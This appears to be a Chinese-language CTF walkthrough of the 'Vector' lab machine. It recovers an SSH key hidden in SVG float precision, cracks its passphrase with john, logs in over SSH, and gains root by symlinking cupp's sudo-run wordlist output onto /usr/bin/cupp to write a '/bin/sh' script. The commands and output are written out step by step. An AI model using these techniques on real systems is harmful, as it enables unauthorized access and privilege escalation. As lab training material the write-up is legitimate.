

| Vector_daochunhan

| Vector

| 靶机信息

- 靶机名称: Vector
- 靶机作者: Sublarge
- 靶机类型: Linux
- 来源: MazeSec/QQ公开群 321948805
- 官网: <https://maze-sec.com/>

| user

端口扫描:

```
nmap -p- -Pn --min-rate 2000 192.168.64.80
```

```
daochunhan@astra ~  
[> nmap -p- -Pn --min-rate 2000 192.168.64.80  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-27 03:35 -0400  
Nmap scan report for 192.168.64.80  
Host is up (0.00039s latency).  
Not shown: 65533 closed tcp ports (reset)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
80/tcp    open  http  
MAC Address: 52:54:00:27:09:01 (QEMU virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 21.50 seconds
```

```
22/tcp open  ssh  
80/tcp open  http
```

80 是 Birmingham City Guide 静态页面:

```

    <div class="map-wrapper">
      <object data="birmingham.svg" type="image/svg+xml"></object>
    </div>
  </div>
</div>
<div class="container">
  <div class="intro">
    <h2>Welcome to the Second City</h2>
    <p>Birmingham is a city of contrasts – Victorian brick arches alongside futuristic glass towers, quiet canal paths cutting through the urban buzz, and a cultural scene that rivals any in Europe.</p>
    <p>Once known as the workshop of the world, today it is one of the UK's youngest and most diverse cities, with over 40% of its population under the age of 25.</p>
  </div>
  <div class="stats">
    <div class="stat"><div class="num">35mi</div><div class="label">of canals</div></div>
    <div class="stat"><div class="num">40%</div><div class="label">UK jewellery made here</div></div>
    <div class="stat"><div class="num">1.1M</div><div class="label">population</div></div>
    <div class="stat"><div class="num">1873</div><div class="label">founded as a borough</div></div>
  </div>
  <div class="section">
    <h2>Must-See Attractions</h2>
    <div class="grid">
      <div class="card"><span class="icon">🏛️</span><h3>Library of Birmingham</h3><p>A stunning contemporary building with a rooftop garden offering sweeping views across the city skyline.</p></div>
      <div class="card"><span class="icon">🍫</span><h3>Cadbury World</h3><p>An immersive chocolate-themed experience in Bourneville, tracing the history of the iconic Cadbury brand.</p></div>
      <div class="card"><span class="icon">🚶</span><h3>Gas Street Basin</h3><p>The historic hub of Birmingham's canal network, now lined with bars, restaurants, and narrowboats.</p></div>
      <div class="card"><span class="icon">🔨</span><h3>Jewellery Quarter</h3><p>A historic district producing 40% of UK jewellery, filled with workshops, museums, and independent shops.</p></div>
      <div class="card"><span class="icon">🔬</span><h3>Thinktank</h3><p>Birmingham's science museum with a planetarium, hands-on exhibits, and an enormous industrial engine collection.</p></div>
      <div class="card"><span class="icon">🎨</span><h3>Museum & Art Gallery</h3><p>Home to the largest collection of Pre-Raphaelite art in the world and treasures from the Staffordshire hoard.</p></div>
    </div>
  </div>
</div>
<div class="page">
  <div class="page">
    <p>Birmingham City Guide &copy; 2026 | visitbirmingham.com</p>
    <!-- Steganography -->
  </div>
</div>
</body>
</html>

```

页面底部有一行注释：

```
<!-- Steganography -->
```

提示是隐写，尝试从页面加载的 `birmingham.svg` 入手：

```
<object data="birmingham.svg" type="image/svg+xml"></object>
```

先看了一下 SVG，普通的 strings、注释、隐藏标签和追加数据都没有找到。搜索 SVG 隐写时发现浮点数精度的隐写方式：

SVG隐写的主要原理

- **XML标签/属性嵌入**：SVG本质上是文本文件，可以直接添加自定义的 `<metadata>`、`<!-- 注释 -->`、不可见的 `<text>` 标签或自定义属性来塞入字符串。
- **浮点数 LSB（最低有效位）隐写**：利用SVG路径（path）中坐标或变形矩阵（matrix）的浮点数精度，通过微调小数点后几位来编码隐藏数据。
- **结构隐藏**：利用矩阵变换（matrix）或位移（move）等元素把内容藏在渲染区域之外。🧑 InfoSec Write-ups +1

遍历 `<path>` 的 `d` 属性，读取浮点数末尾的数据。检查前两个字节是 gzip 文件头 `1f8b`，解压得到私钥：

```
import gzip
import re
import xml.etree.ElementTree as ET

root = ET.parse("birmingham.svg").getroot()
floats = []
for node in root.iter():
    if node.tag.rsplit("}", 1)[-1] == "path":
```

```
floats += re.findall(r"-?\d+\.\d+", node.get("d", ""))

n = int(floats[0][-5:])
data = bytes(int(x[-3:]) for x in floats[1:n + 2])
assert data[:2] == b"\x1f\x8b"
open("id_ed25519", "wb").write(gzip.decompress(data))
```

解压后得到一把加密的 OpenSSH 私钥：

```
cat id_ed25519
chmod 600 id_ed25519
ssh-keygen -yf id_ed25519
```

```
daochunhan@Mac Downloads
> cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAACMFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABANw3rPMZ
JPt/ONdXDIVoaXAAAAGAAAAEAAAAzAAAAAC3NzaC1lZDI1NTE5AAAAIDQ4oW7qFrn2UAhJ
t8QoXfxAO0bXOK7MigyhEkSMW9G4AAAAoP7JMIrcHnd9b8Y/yxX0u11y1fIGHUvXocXg29
ZrngaZK+21UqeZghG8SNSSg1pprYw7qUssSQLd3GGeFTLv9ex5p1vCc4L97YRhOgy8c8rs
gbXYVNiCrV+gyEzKMkY0srC6osPEf1UHRHeZ+RjaxbwEL7swAmEp00bb+u3H6qLx5l8qor
xRUz1x1bSNvbdTsRdFPhqNt+X1IwqYAGMdi0k=
-----END OPENSSH PRIVATE KEY-----
daochunhan@Mac Downloads
> chmod 600 id_ed25519
daochunhan@Mac Downloads
> ssh-keygen -yf id_ed25519
Enter passphrase for "id_ed25519":
Load key "id_ed25519": incorrect passphrase supplied to decrypt private key
daochunhan@Mac Downloads
```

尝试爆破 OpenSSH 私钥的密码：

```
ssh2john id_ed25519 > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
```

```
daochunhan@astra ~
> ssh2john id_ed25519 > key.hash
daochunhan@astra ~
> john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
love123 (id_ed25519)
1g 0:00:02:03 DONE (2026-09-27 04:38) 0.008077g/s 2.681p/s 2.681c/s 2.681C/s love123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

查看公钥注释给出了用户名：

```
ssh-keygen -yf id_ed25519 # love123
```

```
daochunhan@astra ~  
> ssh-keygen -yf id_ed25519  
Enter passphrase for "id_ed25519":  
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDQ4ow7qFrn2UahJt8QoXfxA00bXOK7MigyhEkSMW9G4 xiaomai@Vector  
daochunhan@astra ~
```

```
ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIDQ4ow7qFrn2UAhJt8QoXfxA00bX0K7MigyhEkSMW9G4
xiaomai@Vector
```

登录 SSH:

```
ssh -i id_ed25519 xiaomai@192.168.56.240 # love123
```

```
[daochunhan@astra ~  
> ssh -i id_ed25519 xiaomai@192.168.64.80  
[Enter passphrase for key 'id_ed25519':  
  
--|  
\\ / / _ \\ / _ \\ ' _ \\ / _ \\  
 \\ v v / _ / ( _ ) | | | | _ /  
  _/\\_/_ _ _ | | _ _ _ / | | | | _ _ |  
  
[xiaomai@Vector:~$ id  
uid=1000(xiaomai) gid=1000(xiaomai) groups=1000(xiaomai)  
[xiaomai@Vector:~$ cat user.txt  
flag{user-8a67ba87d660d8e7b43acf44df973273}  
xiaomai@Vector:~$
```

```
root
```

查看 sudo 权限：

```
sudo -l
sudo cupp --help
cat /usr/bin/cupp
```

```

[xiaomai@Vector:~$ sudo -l
Matching Defaults entries for xiaomai on Vector:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for xiaomai:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User xiaomai may run the following commands on Vector:
    (ALL) NOPASSWD: /usr/bin/cupp
[xiaomai@Vector:~$ sudo cupp --help
usage: cupp [-h] [-i | -v | -q]

Common User Password Profiler

options:
  -h, --help            show this help message and exit
  -i, --interactive      Interactive questions for password profiling for a specific target
  -v, --version          Show the version information of the Program.
  -q, --quite           Don't Print the Banner.
[xiaomai@Vector:~$ cat /usr/bin/cupp
#!/usr/bin/python3
import sys
from cupp.__main__ import main
if __name__ == '__main__':
    sys.argv[0] = sys.argv[0].removesuffix('.exe')
    sys.exit(main())
xiaomai@Vector:~$

```

`/usr/bin/cupp` 是一个 Python wrapper, `cupp` 是一个用户密码字典生成器:

```

#!/usr/bin/python3
import sys
from cupp.__main__ import main

```

查看 `functions.py`, 生成词表时会按照 first name 生成文件名:

```

print_to_file(profile["name"] + ".txt", unique_list_finished)
...
with open(filename, "w") as fh:
    unique_list_finished.sort()
    fh.write(os.linesep.join(unique_list_finished))

```

词表长度限制为 5~12:

```

[xiaomai@Vector:/usr/lib/python3.14/site-packages/cupp$ cat helper.py
class CONFIG_DATA:
    years = []
    for i in range(1990, 2023):
        years.append(i)
    chars = ['!', '@', '#', '$', '%', '&', '*']
    leet = {"a": "4", "i": "1", "e": "3", "t": "7",
            "o": "0", "s": "5", "g": "9", "z": "2"}
    threshold = 200
    wcfrom = 5
    wcto = 12
    numfrom = 0
    numto = 100
xiaomai@Vector:/usr/lib/python3.14/site-packages/cupp$

```



```
wcfrom = 5  
wcto = 12
```

那么 `sudo cupp` 其实是提供了一个可以软链接写文件的路径，只是写入的文件有两个层面的限制：

1. 必须在限定词表的条件下生成
2. 长度要限制在 5~12 字符

那么可以将 `sudo cupp` 本身作为启动 root shell 的执行点，通过写入词表比较容易构造出来的：

```
#!/bin/sh  
/bin/sh
```

来实现，词表只注入两项 `#!/bin/sh` 和 `/bin/sh`，然后通过符号链接覆盖 `/usr/bin/cupp`。

```
mkdir -p /tmp/a  
cd /tmp/a  
ln -s /usr/bin/cupp a.txt  
ls -l a.txt  
sudo cupp -i
```

```
xiaomai@Vector:/tmp$ mkdir -p /tmp/a  
xiaomai@Vector:/tmp$ cd /tmp/a  
xiaomai@Vector:/tmp/a$ ln -s /usr/bin/cupp /tmp/a/a.txt  
xiaomai@Vector:/tmp/a$ ls -l /tmp/a/a.txt  
lrwxrwxrwx 1 xiaomai xiaomai 13 Sep 27 17:30 /tmp/a/a.txt -> /usr/bin/cupp  
xiaomai@Vector:/tmp/a$ sudo cupp -i
```



Common User Password Profiler
@thehackersbrain

```
[+] Enter the information about the target to make a dictionary  
[*] If you don't know all the info, just hit Enter when asked! ;)
```

通过 Keywords 注入 `#!/bin/sh,/bin/sh`。词表生成完成后执行：

```
sudo /usr/bin/cupp
```

```

> First Name: a
> Surname:
> Nickname:
> Birthdate (DDMMYYYY):

> Partner's Name:
> Nickname:
> Partner's Birthdate (DDMMYYYY):

> Child's Name:
> Child's Nickname:
> Child's Birthday (DDMMYYYY):

> Pet's Name:
> Company Name:

> Do you want to add some keywords about the target ? [y/n] (n): y
> Enter words separated by comma. [i.e. hacker,security,crack]: #!/bin/sh,/bin/sh
> Do you want to add special chars at the end of the words? [y/n] (n):
> Do you want to add random numbers at the end of the words? [y/n] (n):
> Leet mode ? (i.e. leet = 1337) [y/n] (n):

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[17:31:15] Wordlist (a.txt) Created and Saved...
[+] Wordlist a.txt saved with 60 words.
> Hyperspeed Print? [y/n] (n):
xiaomai@Vector:/tmp/a$ sudo cupp
root@Vector:/tmp/a# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Vector:/tmp/a# cat /root/root.txt
flag{root-6e90ae7970ed438e58c8e1390c025fca}

```

```

root@Vector:/tmp/a# cat /usr/bin/cupp
#!/bin/sh
#!/bin/sh
#!/bin/sh,
#!/bin/sh0
#!/bin/sh1
#!/bin/sh2
#!/bin/sh3
#!/bin/sh4
#!/bin/sh5
#!/bin/sh6
#!/bin/sh7
#!/bin/sh8
#!/bin/sh9
#!/bin/sh[
#!/bin/sh]
#!/bin/sh_
#!/bin/sh_
#!/bin/sh_,
#!/bin/sh_0
#!/bin/sh_1
#!/bin/sh_2
#!/bin/sh_3
#!/bin/sh_4
#!/bin/sh_5
#!/bin/sh_6
#!/bin/sh_7
#!/bin/sh_8
#!/bin/sh_9
#!/bin/sh_[
#!/bin/sh_]
/bin/sh
/bin/sh
/bin/sh,

```